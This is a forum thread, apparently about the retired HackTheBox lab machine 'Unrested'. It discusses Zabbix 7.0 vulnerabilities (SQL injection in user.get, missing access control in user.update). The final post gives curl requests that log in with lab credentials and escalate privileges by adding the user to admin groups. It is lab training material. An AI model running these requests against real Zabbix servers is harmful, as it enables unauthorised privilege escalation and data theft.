[Art10n]

A new machine https://app.hackthebox.com/machines/Unrested 

This box seems a retired machine (0  points)

[Str4ngerX]

Zabbix version 7.0 vulnerable to :

A non-admin user account on the Zabbix frontend with the default User role, or with any other role that gives API access can exploit this vulnerability. An SQLi exists in the CUser class in the addRelatedObjects function, this function is being called from the CUser.get function which is available for every user who has API access.

https://github.com/aramosf/cve-2024-4232...me-ov-file exploit isn't working

[Art10n]

there is an official writeup available for the box

[hackemall]

Understanding Vulnerabilities

The Zabbix version (7.0.0) in Unrested contains two critical vulnerabilities:

CVE-2024-36467: Missing access controls in the user.update function allow privilege escalation.
CVE-2024-42327: SQL injection in the user.get function enables database extraction.

---

curl --request POST \
  --url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
  --header 'Content-Type: application/json-rpc' \
  --data '{"jsonrpc":"2.0","method":"user.login","params":{"username":"matthew","password":"96qzn0h2e1k3"},"id":1}'

---

curl --request POST \
  --url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
  --header 'Content-Type: application/json-rpc' \
  --data '{"jsonrpc":"2.0","method":"user.update","params":{"userid":"3","usrgrps":[{"usrgrpid":"13"},{"usrgrpid":"7"}]},"auth":"a8fe16fa088da3a36083048ed8f3f91c","id":1}'